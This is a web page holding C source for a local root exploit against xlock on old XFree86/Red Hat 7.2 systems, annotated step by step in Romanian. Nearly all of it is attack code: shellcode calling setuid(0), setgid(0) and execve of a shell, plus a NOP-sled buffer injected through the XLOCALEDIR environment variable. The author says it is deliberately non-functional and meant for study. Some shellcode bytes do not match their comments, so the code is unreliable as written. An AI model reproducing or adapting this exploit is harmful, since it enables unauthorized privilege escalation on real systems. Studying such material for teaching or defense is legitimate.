This is no TV

No TV, please move along

X L O C K - X L O C A L E D I R

1337xlockxpl017 :-)



/*  Acest exploit local de root pentru xlock 
 *  - XFree 4.2.0, Redhat 7.2 este un remake 
 *  al versiunii pentru Slackware 8.1 scrise
 *  de dcryptr && tarranta / oC.
 *  Pentru detalii legale a se vedea sfarsitul
 *  fisierului.
 *  
 *  Multumiri: dcryptr && tarranta, aleph1, dethy, 
 *                thread, ^sq, irian. 
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define OFFSET 0 /* poate varia - implicit 0 */
#define nop	0x90 /* opcode-ul pentru NOP pe x86 e 0x90 */
#define BSIZE 5100 /* dimensiunea buffer-ului */

/* Shellcode-ul este esential identic cu cel
 * realizat de dcryptr && tarranta - am inlocuit
 * doar instructiunile "mov %ebx, %eax" unde %ebx 
 * era 0 cu "xor %eax, %eax". Autorii originali
 * au observat si ca primul setuid(0) este ignorat.
 * Motivul imi este, ca si lor, necunoscut.
 */
static char shellcode[] =
 /* setuid(0); - ignorat probabil din cauza 
    unei dezalinieri? */
 /* Valoarea 0 este pasata prin %ebx */
 "\x31\xdb" /* xor %ebx,%ebx */
 /* %eax devine si el 0 */
 "\x31\xc0" /* xor %eax,%eax */
 /* %al devine 0x17 - numarul apelului sistem
   (system call - syscall) pentru setuid() */
 "\xb0\x17" /* mov $0x17,%al */
 /* Apel servicii sistem pe GNU/Linux si BSD
   - int 0x80 */
 "\xcd\x80" /* int $0x80 */
 
 /* setuid(0); */
 "\x31\xdb" /* xor %ebx,%ebx */
 "\x31\xc0" /* xor %eax,%eax */
 "\xb0\x17" /* mov $0x17,%al */
 "\xcd\x80" /* int $0x80 */
 
 /* setgid(0); */
 "\x31\xdb" /* xor %ebx,%ebx */
 "\x31\xc0" /* xor %eax,%eax */
 /* Selectam in %al numarul syscall-ului setgid() */
 "\xb0\x2e" /* mov $0x2e,%al */
 "\xcd\x80" /* int $0x80 */
 
 /* /bin/sh execve(); */
 /* %eax devine 0 */
 "\x31\xc0" /* xor %eax,%eax */
 /* zero-ul creat e impins pe stiva
	  pentru a sluji ca terminator pentru /bin//sh */
 "\x50"     /* push %eax */
 /* Vom impinge pe stiva pe /bin//sh in loc de 
	  /bin/sh pentru ca merge si asa si este mai 
	  simplu sa impingem doua cuvinte duble (dwords). */
 /* //sh e impins pe stiva */
 "\x68\x2f\x61\x73\x68" /* push $0x68732f2f */
 /* /bin e impins pe stiva */
 "\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
 /* Stack pointer-ul %esp este memorat in %ebx -
	  aici incepe string-ul /bin//sh */
 "\x89\xe3" /* mov %esp,%ebx */
 /* Plasam pe stiva un terminator pentru argv,
	  adica argv[1] va fi NULL */
 "\x50"     /* push %eax */
 /* Plasam pe stiva pointerul catre /bin//sh */
 "\x53"     /* push %ebx */
 /* Il construim pe argv */
 "\x89\xe1" /* mov %esp,%ecx */
 /* envp este NULL */
 "\x31\xd2" /* xor %edx,%edx */
 /* Selectam prin 0xb din %al
	  syscall-ul execve */
 "\xb0\x0b" /* mov $0xb,%al */
 "\xcd\x80" /* int $0x80 */
 
 /* exit(0); */
 "\x31\xdb" /* xor %ebx,%ebx */
 "\x31\xc0" /* xor %eax,%eax */
 /* Syscall-ul pentru exit - 0x01 */
 "\xb0\x01" /* mov $0x01,%al */
 "\xcd\x80";/* int $0x80 */
 
int main(int argc, char **argv) {
	char *buffer, *ptr;
	int *address_ptr, *address;
	int i, offset = OFFSET, bsize = BSIZE;

	/* Putem folosi acest offset in cautarea
	 * locatiei bune pentru salt */
	if(argc > 1) offset = atoi(argv[1]);
	else offset = 0;
	fprintf(stderr, "Offset: %d\n", offset);

	/* Alocam spatiu pentru buffer */
	buffer = malloc(bsize);

	/* Use the force, read the source :-), 
	 * gasim valoarea stack-pointer-ului %esp 
	 * pentru xlock. */
	(char *)address = (0xbffff010 + sizeof(int) * offset);
	fprintf(stderr, "Return address: %#x\n" ,address);
	
	ptr = buffer;
	address_ptr = (int *)ptr;

	/* Umplem buffer-ul cu adresa din buffer la care 
	 * vom face salt */
	for(i = 0; i < bsize; i += 4)
		(int *)*(address_ptr++) = address;

	/* Umplem prima treime - parametru ajustabil -
	 * a buffer-ului cu NOP-uri, lasand spatiu
	 * pentru a adauga shellcode-ul */
	for(i = 0; i < bsize / 3; i++) buffer[i] = nop;

	/* Plasam shellcode-ul in buffer, centrat
	 * pe granita dintre prima si a doua treime
	 * a buffer-ului. */
	ptr = buffer + (bsize / 3 - strlen(shellcode) / 2);
	for(i = 0; i < strlen(shellcode); i++)
		*(ptr++) = shellcode[i];
    
	/* Adaugam un terminator de string */
	buffer[bsize - 1] = '\0';

	/* In acest caz buffer-overflow-ul (bof-ul)
	 * este produs printr-o variabila de mediu
	 * setabila de catre user.
	 * Dam variabilei de mediu XLOCALEDIR valoarea
	 * continuta in buffer - ceea ce ar trebui 
	 * sa cauzeze apoi un overflow in programele
	 * ce o folosesc incorect. */
	setenv("XLOCALEDIR", buffer, 1);

	/* xlock foloseste variabila XLOCALEDIR
	 * (intr-un mod incorect) astfel ca bof-ul
	 * este posibil */
	execl("/usr/X11R6/bin/xlock", "/usr/X11R6/bin/xlock", 0);
}

/*  Exploitul nu va functiona in aceasta forma -
 *  anumite modificari (minore dar esentiale) 
 *  sunt necesare.
 *  Codul este dat pentru a fi studiat si inteles
 *  putand constitui tema unui laborator despre
 *  programarea in limbajul C, si nicidecum pentru
 *  a fi folosit ca unealta de atac (fapt improbabil
 *  atat datorita modificarilor necesare cat si
 *  faptului ca programul vulnerabil este foarte 
 *  vechi si deci rar intalnit).
 */

All icons are slightly modified from David Vignoni's LGPL'd Nuvola theme for KDE.